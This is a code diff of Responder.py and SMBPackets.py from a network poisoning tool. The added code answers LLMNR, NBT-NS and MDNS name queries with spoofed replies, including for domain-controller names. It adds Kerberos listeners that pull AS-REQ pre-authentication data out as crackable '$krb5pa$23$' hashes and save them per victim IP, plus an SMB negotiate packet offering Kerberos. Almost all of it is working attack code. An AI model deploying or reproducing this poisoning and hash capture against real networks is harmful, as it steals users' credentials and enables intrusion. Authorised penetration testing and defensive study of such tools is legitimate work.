+Show_Help("[+]NBT-NS, LLMNR & MDNS responder started\n[+]Loading Responder.conf File..\nGlobal Parameters set:\nResponder is bound to this interface: %s\nChallenge set: %s\nWPAD Proxy Server: %s\nWPAD script loaded:  %s\nHTTP Server: %s\nHTTPS Server: %s\nSMB Server: %s\nSMB LM support: %s\nKerberos Server: %s\nSQL Server: %s\nFTP Server: %s\nIMAP Server: %s\nPOP3 Server: %s\nSMTP Server: %s\nDNS Server: %s\nLDAP Server: %s\nFingerPrint hosts: %s\nServing Executable via HTTP&WPAD: %s\nAlways Serving a Specific File via HTTP&WPAD: %s\n\n"%(BIND_TO_Interface, NumChal,WPAD_On_Off,WPAD_Script,On_Off,SSL_On_Off,SMB_On_Off,LM_On_Off,Krb_On_Off,SQL_On_Off,FTP_On_Off,IMAP_On_Off,POP_On_Off,SMTP_On_Off,DNS_On_Off,LDAP_On_Off,Finger_On_Off,Exe_On_Off,Exec_Mode_On_Off))
 
 if AnalyzeMode:
    print '[+]Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.\n'
@@ -219,9 +225,9 @@ class Packet():
 
 #Function name self-explanatory
 def Is_Finger_On(Finger_On_Off):
-    if Finger_On_Off == "ON":
+    if Finger_On_Off == True:
        return True
-    if Finger_On_Off == "OFF":
+    if Finger_On_Off == False:
        return False
 
 def RespondToSpecificHost(RespondTo):
@@ -230,12 +236,25 @@ def RespondToSpecificHost(RespondTo):
     else:
        return False
 
+def RespondToSpecificName(RespondToName):
+    if len(RespondToName)>=1 and RespondToName != ['']:
+       return True
+    else:
+       return False
+
 def RespondToIPScope(RespondTo, ClientIp):
     if ClientIp in RespondTo:
        return True
     else:
        return False
 
+def RespondToNameScope(RespondToName, Name):
+    if Name in RespondToName:
+       return True
+    else:
+       return False
+
+
 ##################################################################################
 #NBT NS Stuff
 ##################################################################################
@@ -283,11 +302,18 @@ def NBT_NS_Role(data):
 def Validate_NBT_NS(data,Wredirect):
     if Analyze(AnalyzeMode):
        return False
+
     if NBT_NS_Role(data[43:46]) == "File Server Service.":
        return True
-    if Wredirect == "ON":
+
+    if NBTNSDomain == True:
+       if NBT_NS_Role(data[43:46]) == "Domain controller service. This name is a domain controller.":
+          return True
+
+    if Wredirect == True:
        if NBT_NS_Role(data[43:46]) == "Workstation/Redirector Service.":
           return True
+
     else:
        return False
 
@@ -308,8 +334,7 @@ def Decode_Name(nbname):
 class NB(BaseRequestHandler):
 
     def handle(self):
-        request, socket = self.request
-        data = request
+        data, socket = self.request
         Name = Decode_Name(data[13:45])
 
         if Analyze(AnalyzeMode):
@@ -329,55 +354,101 @@ class NB(BaseRequestHandler):
                  if PrintLLMNRNBTNS(AnalyzeFilename,Message):
                     print Message
                  logger3.warning(Message)
-           
+
         if RespondToSpecificHost(RespondTo) and Analyze(AnalyzeMode) == False:
            if RespondToIPScope(RespondTo, self.client_address[0]):
               if data[2:4] == "\x01\x10":
                  if Validate_NBT_NS(data,Wredirect):
-                    buff = NBT_Ans()
-                    buff.calculate(data)
-                    for x in range(1):
-                       socket.sendto(str(buff), self.client_address)
-                       Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name)
-                       logging.warning(Message)
-                       if PrintLLMNRNBTNS(Log2Filename,Message):
-                          print Message
-                          logger2.warning(Message)
-                       if Is_Finger_On(Finger_On_Off):
-                          try:
-                             Finger = RunSmbFinger((self.client_address[0],445))
-                             print '[+] OsVersion is:%s'%(Finger[0])
-                             print '[+] ClientVersion is :%s'%(Finger[1])
-                             logging.warning('[+] OsVersion is:%s'%(Finger[0]))
-                             logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
-                          except Exception:
-                             logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
-                             pass
+                    if RespondToSpecificName(RespondToName) == False:
+                       buff = NBT_Ans()
+                       buff.calculate(data)
+                       for x in range(1):
+                          socket.sendto(str(buff), self.client_address)
+                          Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name)
+                          logging.warning(Message)
+                          if PrintLLMNRNBTNS(Log2Filename,Message):
+                             print Message
+                             logger2.warning(Message)
+                          if Is_Finger_On(Finger_On_Off):
+                             try:
+                                Finger = RunSmbFinger((self.client_address[0],445))
+                                print '[+] OsVersion is:%s'%(Finger[0])
+                                print '[+] ClientVersion is :%s'%(Finger[1])
+                                logging.warning('[+] OsVersion is:%s'%(Finger[0]))
+                                logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
+                             except Exception:
+                                logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
+                                pass
+                    if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
+                       buff = NBT_Ans()
+                       buff.calculate(data)
+                       for x in range(1):
+                          socket.sendto(str(buff), self.client_address)
+                          Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name)
+                          logging.warning(Message)
+                          if PrintLLMNRNBTNS(Log2Filename,Message):
+                             print Message
+                             logger2.warning(Message)
+                          if Is_Finger_On(Finger_On_Off):
+                             try:
+                                Finger = RunSmbFinger((self.client_address[0],445))
+                                print '[+] OsVersion is:%s'%(Finger[0])
+                                print '[+] ClientVersion is :%s'%(Finger[1])
+                                logging.warning('[+] OsVersion is:%s'%(Finger[0]))
+                                logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
+                             except Exception:
+                                logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
+                                pass
+                    else:
+                       pass
            else:
               pass
 
         else:
            if data[2:4] == "\x01\x10":
               if Validate_NBT_NS(data,Wredirect) and Analyze(AnalyzeMode) == False:
-                 buff = NBT_Ans()
-                 buff.calculate(data)
-                 for x in range(1):
-                    socket.sendto(str(buff), self.client_address)
-                 Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name)
-                 logging.warning(Message)
-                 if PrintLLMNRNBTNS(Log2Filename,Message):
-                    print Message
-                    logger2.warning(Message)
-                 if Is_Finger_On(Finger_On_Off):
-                    try:
-                       Finger = RunSmbFinger((self.client_address[0],445))
-                       print '[+] OsVersion is:%s'%(Finger[0])
-                       print '[+] ClientVersion is :%s'%(Finger[1])
-                       logging.warning('[+] OsVersion is:%s'%(Finger[0]))
-                       logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
-                    except Exception:
-                       logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
-                       pass
+                 if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
+                    buff = NBT_Ans()
+                    buff.calculate(data)
+                    for x in range(1):
+                       socket.sendto(str(buff), self.client_address)
+                    Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name)
+                    logging.warning(Message)
+                    if PrintLLMNRNBTNS(Log2Filename,Message):
+                       print Message
+                       logger2.warning(Message)
+                    if Is_Finger_On(Finger_On_Off):
+                       try:
+                          Finger = RunSmbFinger((self.client_address[0],445))
+                          print '[+] OsVersion is:%s'%(Finger[0])
+                          print '[+] ClientVersion is :%s'%(Finger[1])
+                          logging.warning('[+] OsVersion is:%s'%(Finger[0]))
+                          logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
+                       except Exception:
+                          logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
+                          pass
+                 if RespondToSpecificName(RespondToName) == False:
+                    buff = NBT_Ans()
+                    buff.calculate(data)
+                    for x in range(1):
+                       socket.sendto(str(buff), self.client_address)
+                    Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name)
+                    logging.warning(Message)
+                    if PrintLLMNRNBTNS(Log2Filename,Message):
+                       print Message
+                       logger2.warning(Message)
+                    if Is_Finger_On(Finger_On_Off):
+                       try:
+                          Finger = RunSmbFinger((self.client_address[0],445))
+                          print '[+] OsVersion is:%s'%(Finger[0])
+                          print '[+] ClientVersion is :%s'%(Finger[1])
+                          logging.warning('[+] OsVersion is:%s'%(Finger[0]))
+                          logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
+                       except Exception:
+                          logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
+                          pass
+                 else:
+                    pass
 
 ##################################################################################
 #Browser Listener and Lanman Finger
@@ -738,9 +809,9 @@ class SMB1(BaseRequestHandler):
                 data = self.request.recv(1024)
              ##Negotiate proto answer.
               if data[8:10] == "\x72\x00":
-                # Customize SMB answer.
+                #Customize SMB answer.
                 head = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data))
-                t = SMBNegoAns(Dialect=Parse_Nego_Dialect(data))
+                t = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data))
                 t.calculate()
                 final = t 
                 packet0 = str(head)+str(final)
@@ -859,7 +930,132 @@ class SMB1LM(BaseRequestHandler):
 
         except Exception:
            self.request.close()
-           pass #no need to print errors..
+           pass
+
+
+##################################################################################
+#Kerberos Server
+##################################################################################
+def ParseMSKerbv5TCP(Data):
+   MsgType = Data[21:22]
+   EncType = Data[43:44]
+   MessageType = Data[32:33]
+   if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02":
+      if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33":
+         HashLen = struct.unpack('<b',Data[50:51])[0]
+         if HashLen == 54:
+            Hash = Data[53:105]
+            SwitchHash = Hash[16:]+Hash[0:16]
+            NameLen = struct.unpack('<b',Data[153:154])[0]
+            Name = Data[154:154+NameLen]
+            DomainLen = struct.unpack('<b',Data[154+NameLen+3:154+NameLen+4])[0]
+            Domain = Data[154+NameLen+4:154+NameLen+4+DomainLen]
+            BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
+            return BuildHash
+      if Data[44:48] == "\xa2\x36\x04\x34" or Data[44:48] == "\xa2\x35\x04\x33":
+         HashLen = struct.unpack('<b',Data[45:46])[0]
+         if HashLen == 53:
+            Hash = Data[48:99]
+            SwitchHash = Hash[16:]+Hash[0:16]
+            NameLen = struct.unpack('<b',Data[147:148])[0]
+            Name = Data[148:148+NameLen]
+            DomainLen = struct.unpack('<b',Data[148+NameLen+3:148+NameLen+4])[0]
+            Domain = Data[148+NameLen+4:148+NameLen+4+DomainLen]
+            BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
+            return BuildHash
+         if HashLen == 54:
+            Hash = Data[53:105]
+            SwitchHash = Hash[16:]+Hash[0:16]
+            NameLen = struct.unpack('<b',Data[148:149])[0]
+            Name = Data[149:149+NameLen]
+            DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
+            Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
+            BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
+            return BuildHash
+
+      else:
+         Hash = Data[48:100]
+         SwitchHash = Hash[16:]+Hash[0:16]
+         NameLen = struct.unpack('<b',Data[148:149])[0]
+         Name = Data[149:149+NameLen]
+         DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
+         Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
+         BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
+         return BuildHash
+   else:
+      return False
+
+def ParseMSKerbv5UDP(Data):
+   MsgType = Data[17:18]
+   EncType = Data[39:40]
+   if MsgType == "\x0a" and EncType == "\x17":
+      if Data[40:44] == "\xa2\x36\x04\x34" or Data[40:44] == "\xa2\x35\x04\x33":
+         HashLen = struct.unpack('<b',Data[41:42])[0]
+         if HashLen == 54:
+            Hash = Data[44:96]
+            SwitchHash = Hash[16:]+Hash[0:16]
+            NameLen = struct.unpack('<b',Data[144:145])[0]
+            Name = Data[145:145+NameLen]
+            DomainLen = struct.unpack('<b',Data[145+NameLen+3:145+NameLen+4])[0]
+            Domain = Data[145+NameLen+4:145+NameLen+4+DomainLen]
+            BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
+            return BuildHash
+         if HashLen == 53:
+            Hash = Data[44:95]
+            SwitchHash = Hash[16:]+Hash[0:16]
+            NameLen = struct.unpack('<b',Data[143:144])[0]
+            Name = Data[144:144+NameLen]
+            DomainLen = struct.unpack('<b',Data[144+NameLen+3:144+NameLen+4])[0]
+            Domain = Data[144+NameLen+4:144+NameLen+4+DomainLen]
+            BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
+            return BuildHash
+
+
+      else:
+         Hash = Data[49:101]
+         SwitchHash = Hash[16:]+Hash[0:16]
+         NameLen = struct.unpack('<b',Data[149:150])[0]
+         Name = Data[150:150+NameLen]
+         DomainLen = struct.unpack('<b',Data[150+NameLen+3:150+NameLen+4])[0]
+         Domain = Data[150+NameLen+4:150+NameLen+4+DomainLen]
+         BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
+         return BuildHash
+   else:
+      return False
+
+class KerbTCP(BaseRequestHandler):
+
+    def handle(self):
+        try:
+           data = self.request.recv(1024)
+           KerbHash = ParseMSKerbv5TCP(data)
+           if KerbHash:
+              Outfile = os.path.join(ResponderPATH,"MSKerberos-Client-"+self.client_address[0]+".txt")
+              if PrintData(Outfile,KerbHash):
+                 print "[+]MSKerbv5 hash captured from : ", self.client_address[0]
+                 print "[+]MSKerbv5 complete hash is :", KerbHash
+                 Outfile = os.path.join(ResponderPATH,"MSKerberos-Client-"+self.client_address[0]+".txt")
+                 WriteData(Outfile,KerbHash, KerbHash)
+                 logging.warning('[+]MSKerbv5 complete hash is :%s'%(KerbHash)) 
+        except Exception:
+           raise
+
+class KerbUDP(BaseRequestHandler):
+
+    def handle(self):
+        try:
+           data, soc = self.request
+           KerbHash = ParseMSKerbv5UDP(data)
+           if KerbHash:
+              Outfile = os.path.join(ResponderPATH,"MSKerberos-Client-"+self.client_address[0]+".txt")
+              if PrintData(Outfile,KerbHash):
+                 print "[+]MSKerbv5 hash captured from : ", self.client_address[0]
+                 print "[+]MSKerbv5 complete hash is :", KerbHash
+                 Outfile = os.path.join(ResponderPATH,"MSKerberos-Client-"+self.client_address[0]+".txt")
+                 WriteData(Outfile,KerbHash, KerbHash)
+                 logging.warning('[+]MSKerbv5 complete hash is :%s'%(KerbHash)) 
+        except Exception:
+           raise
 
 ##################################################################################
 #SQL Stuff
@@ -1089,12 +1285,60 @@ class LLMNR(BaseRequestHandler):
                      if data[2:4] == "\x00\x00":
                         if Parse_IPV6_Addr(data):
                            Name = Parse_LLMNR_Name(data)
+                           if RespondToSpecificName(RespondToName) == False:
+                              buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
+                              buff.calculate()
+                              for x in range(1):
+                                 soc.sendto(str(buff), self.client_address)
+                              Message =  "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name)
+                              logging.warning(Message)
+                              if PrintLLMNRNBTNS(Log2Filename,Message):
+                                 print Message
+                                 logger2.warning(Message)
+                              if Is_Finger_On(Finger_On_Off):
+                                 try:
+                                    Finger = RunSmbFinger((self.client_address[0],445))
+                                    print '[+] OsVersion is:%s'%(Finger[0])
+                                    print '[+] ClientVersion is :%s'%(Finger[1])
+                                    logging.warning('[+] OsVersion is:%s'%(Finger[0]))
+                                    logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
+                                 except Exception:
+                                    logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
+                                    pass
+
+                           if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
+                              buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
+                              buff.calculate()
+                              for x in range(1):
+                                 soc.sendto(str(buff), self.client_address)
+                              Message =  "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name)
+                              logging.warning(Message)
+                              if PrintLLMNRNBTNS(Log2Filename,Message):
+                                 print Message
+                                 logger2.warning(Message)
+                              if Is_Finger_On(Finger_On_Off):
+                                 try:
+                                    Finger = RunSmbFinger((self.client_address[0],445))
+                                    print '[+] OsVersion is:%s'%(Finger[0])
+                                    print '[+] ClientVersion is :%s'%(Finger[1])
+                                    logging.warning('[+] OsVersion is:%s'%(Finger[0]))
+                                    logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
+                                 except Exception:
+                                    logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
+                                    pass
+                     else:
+                        pass
+
+            if Analyze(AnalyzeMode) == False and RespondToSpecificHost(RespondTo) == False:
+               if data[2:4] == "\x00\x00":
+                     if Parse_IPV6_Addr(data):
+                        Name = Parse_LLMNR_Name(data)
+                        if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
                            buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
                            buff.calculate()
+                           Message =  "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name)
                            for x in range(1):
                               soc.sendto(str(buff), self.client_address)
-                           Message =  "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name)
-                           logging.warning(Message)
                            if PrintLLMNRNBTNS(Log2Filename,Message):
                               print Message
                               logger2.warning(Message)
@@ -1108,33 +1352,31 @@ class LLMNR(BaseRequestHandler):
                               except Exception:
                                  logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
                                  pass
-
-            if Analyze(AnalyzeMode) == False and RespondToSpecificHost(RespondTo) == False:
-               if data[2:4] == "\x00\x00":
-                     if Parse_IPV6_Addr(data):
-                        Name = Parse_LLMNR_Name(data)
-                        buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
-                        buff.calculate()
-                        Message =  "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name)
-                        for x in range(1):
-                           soc.sendto(str(buff), self.client_address)
-                        if PrintLLMNRNBTNS(Log2Filename,Message):
-                           print Message
-                           logger2.warning(Message)
-                        if Is_Finger_On(Finger_On_Off):
-                           try:
-                              Finger = RunSmbFinger((self.client_address[0],445))
-                              print '[+] OsVersion is:%s'%(Finger[0])
-                              print '[+] ClientVersion is :%s'%(Finger[1])
-                              logging.warning('[+] OsVersion is:%s'%(Finger[0]))
-                              logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
-                           except Exception:
-                              logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
-                              pass
+                        if RespondToSpecificName(RespondToName) == False:
+                           buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
+                           buff.calculate()
+                           Message =  "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name)
+                           for x in range(1):
+                              soc.sendto(str(buff), self.client_address)
+                           if PrintLLMNRNBTNS(Log2Filename,Message):
+                              print Message
+                              logger2.warning(Message)
+                           if Is_Finger_On(Finger_On_Off):
+                              try:
+                                 Finger = RunSmbFinger((self.client_address[0],445))
+                                 print '[+] OsVersion is:%s'%(Finger[0])
+                                 print '[+] ClientVersion is :%s'%(Finger[1])
+                                 logging.warning('[+] OsVersion is:%s'%(Finger[0]))
+                                 logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
+                              except Exception:
+                                 logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
+                                 pass
+                        else:
+                           pass
             else:
                pass
         except:
-           pass
+           raise
 
 ##################################################################################
 #DNS Stuff
@@ -1358,16 +1600,16 @@ def WpadCustom(data,client):
        return False
 
 def WpadForcedAuth(Force_WPAD_Auth):
-    if Force_WPAD_Auth == "ON":
+    if Force_WPAD_Auth == True:
        return True
-    else:
+    if Force_WPAD_Auth == False:
        return False
 
 # Function used to check if we answer with a Basic or NTLM auth. 
 def Basic_Ntlm(Basic):
-    if Basic == "ON":
+    if Basic == True:
        return IIS_Basic_401_Ans()
-    if Basic == "OFF":
+    else:
        return IIS_Auth_401_Ans()
 
 def ServeEXE(data,client, Filename):
@@ -1491,11 +1733,11 @@ class HTTP(BaseRequestHandler):
 
     def handle(self):
         try:
-           while True:
+           while True:  
               self.request.settimeout(1)
               data = self.request.recv(8092)
               buff = WpadCustom(data,self.client_address[0])
-              if buff and Force_WPAD_Auth == "OFF":
+              if buff and WpadForcedAuth(Force_WPAD_Auth) == False:
                  Message = "[+]WPAD (no auth) file sent to: %s"%(self.client_address[0])
                  if Verbose:
                    print Message
@@ -1506,7 +1748,6 @@ class HTTP(BaseRequestHandler):
                  self.request.send(buffer0)
         except Exception:
            pass#No need to be verbose..
-           self.request.close()
 
 
 ##################################################################################
@@ -2071,21 +2312,28 @@ def Is_HTTPS_On(SSL_On_Off):
 
 #Function name self-explanatory
 def Is_WPAD_On(on_off):
-    if on_off == "ON":
+    if on_off == True:
        return thread.start_new(serve_thread_tcp,('', 3141,ProxyHandler))
-    if on_off == "OFF":
+    if on_off == False:
        return False
 
 #Function name self-explanatory
 def Is_SMB_On(SMB_On_Off):
     if SMB_On_Off == "ON":
-       if LM_On_Off == "ON":
+       if LM_On_Off == True:
           return thread.start_new(serve_thread_tcp, ('', 445,SMB1LM)),thread.start_new(serve_thread_tcp,('', 139,SMB1LM))
        else:
           return thread.start_new(serve_thread_tcp, ('', 445,SMB1)),thread.start_new(serve_thread_tcp,('', 139,SMB1))
     if SMB_On_Off == "OFF":
        return False
 
+#Function name self-explanatory
+def Is_Kerberos_On(Krb_On_Off):
+    if Krb_On_Off == "ON":
+       return thread.start_new(serve_thread_udp,('', 88,KerbUDP)),thread.start_new(serve_thread_tcp,('', 88, KerbTCP))
+    if Krb_On_Off == "OFF":
+       return False
+
 #Function name self-explanatory
 def Is_SQL_On(SQL_On_Off):
     if SQL_On_Off == "ON":
@@ -2246,6 +2494,7 @@ def main():
       Is_HTTP_On(On_Off)
       Is_HTTPS_On(SSL_On_Off)
       Is_WPAD_On(WPAD_On_Off)
+      Is_Kerberos_On(Krb_On_Off)
       Is_SMB_On(SMB_On_Off)
       Is_SQL_On(SQL_On_Off)
       Is_LDAP_On(LDAP_On_Off)
@@ -2257,10 +2506,11 @@ def main():
       thread.start_new(serve_thread_udp,('', 138,Browser))
       ## Poisoner loaded by default, it's the purpose of this tool...
       thread.start_new(serve_thread_udp_MDNS,('', 5353,MDNS))   #MDNS
+      thread.start_new(serve_thread_udp,('', 88, KerbUDP))
       thread.start_new(serve_thread_udp,('', 137,NB))           #NBNS
       thread.start_new(serve_thread_udp_LLMNR,('', 5355, LLMNR)) #LLMNR
       while num_thrd > 0:
-         pass
+         time.sleep(1)
     except KeyboardInterrupt:
       exit()
 
@@ -2270,6 +2520,3 @@ if __name__ == '__main__':
     except:
         raise
 
-
-
-

SMBPackets.py

@@ -107,7 +107,7 @@ class SMBNegoAnsLM(Packet):
         self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen))
         self.fields["Keylength"] = struct.pack("<h",len(self.fields["Key"]))[0]
 ##################################################################################
-#SMB Negotiate Answer LM packet.
+#SMB Negotiate Answer ESS NTLM only packet.
 class SMBNegoAns(Packet):
     fields = OrderedDict([
         ("Wordcount",    "\x11"),
@@ -149,8 +149,6 @@ class SMBNegoAns(Packet):
         ("NegHintFinalASNId",         "\x1b"), 
         ("NegHintFinalASNLen",        "\x15"),
         ("NegHintFinalASNStr",        "server2008$@SMB.LOCAL"),
-##  END
-
     ])
 
     def calculate(self):
@@ -179,7 +177,86 @@ class SMBNegoAns(Packet):
         self.fields["NegHintFinalASNLen"] = struct.pack("<B", len(str(self.fields["NegHintFinalASNStr"])))
 
 ################################################################################
+#SMB Negotiate Answer ESS NTLM and Kerberos packet.
+class SMBNegoKerbAns(Packet):
+    fields = OrderedDict([
+        ("Wordcount",                "\x11"),
+        ("Dialect",                  ""),
+        ("Securitymode",             "\x03"),
+        ("MaxMpx",                   "\x32\x00"),
+        ("MaxVc",                    "\x01\x00"),
+        ("MaxBuffSize",              "\x04\x41\x00\x00"),
+        ("MaxRawBuff",               "\x00\x00\x01\x00"),
+        ("SessionKey",               "\x00\x00\x00\x00"),
+        ("Capabilities",             "\xfd\xf3\x01\x80"),
+        ("SystemTime",               "\x84\xd6\xfb\xa3\x01\x35\xcd\x01"),
+        ("SrvTimeZone",               "\xf0\x00"),
+        ("KeyLen",                    "\x00"),
+        ("Bcc",                       "\x57\x00"),
+        ("Guid",                      "\xc8\x27\x3d\xfb\xd4\x18\x55\x4f\xb2\x40\xaf\xd7\x61\x73\x75\x3b"),
+        ("InitContextTokenASNId",     "\x60"),
+        ("InitContextTokenASNLen",    "\x5b"),
+        ("ThisMechASNId",             "\x06"),
+        ("ThisMechASNLen",            "\x06"),
+        ("ThisMechASNStr",            "\x2b\x06\x01\x05\x05\x02"),
+        ("SpNegoTokenASNId",          "\xA0"),
+        ("SpNegoTokenASNLen",         "\x51"),
+        ("NegTokenASNId",             "\x30"),
+        ("NegTokenASNLen",            "\x4f"),
+        ("NegTokenTag0ASNId",         "\xA0"),
+        ("NegTokenTag0ASNLen",        "\x30"),
+        ("NegThisMechASNId",          "\x30"),
+        ("NegThisMechASNLen",         "\x2e"),
+        ("NegThisMech1ASNId",         "\x06"),
+        ("NegThisMech1ASNLen",        "\x09"),
+        ("NegThisMech1ASNStr",        "\x2a\x86\x48\x82\xf7\x12\x01\x02\x02"),
+        ("NegThisMech2ASNId",         "\x06"),
+        ("NegThisMech2ASNLen",        "\x09"),
+        ("NegThisMech2ASNStr",        "\x2a\x86\x48\x86\xf7\x12\x01\x02\x02"),
+        ("NegThisMech3ASNId",         "\x06"),
+        ("NegThisMech3ASNLen",        "\x0a"),
+        ("NegThisMech3ASNStr",        "\x2a\x86\x48\x86\xf7\x12\x01\x02\x02\x03"),
+        ("NegThisMech4ASNId",         "\x06"),
+        ("NegThisMech4ASNLen",        "\x09"),
+        ("NegThisMech4ASNStr",        "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"),
+        ("NegTokenTag3ASNId",         "\xA3"),
+        ("NegTokenTag3ASNLen",        "\x1b"),
+        ("NegHintASNId",              "\x30"),
+        ("NegHintASNLen",             "\x19"),
+        ("NegHintTag0ASNId",          "\xa0"),
+        ("NegHintTag0ASNLen",         "\x17"),
+        ("NegHintFinalASNId",         "\x1b"), 
+        ("NegHintFinalASNLen",        "\x15"),
+        ("NegHintFinalASNStr",        "server2008$@SMB.LOCAL"),
+    ])
 
+    def calculate(self):
+
+        CompleteBCCLen1 =  str(self.fields["Guid"])+str(self.fields["InitContextTokenASNId"])+str(self.fields["InitContextTokenASNLen"])+str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
+
+        AsnLenStart = str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
+
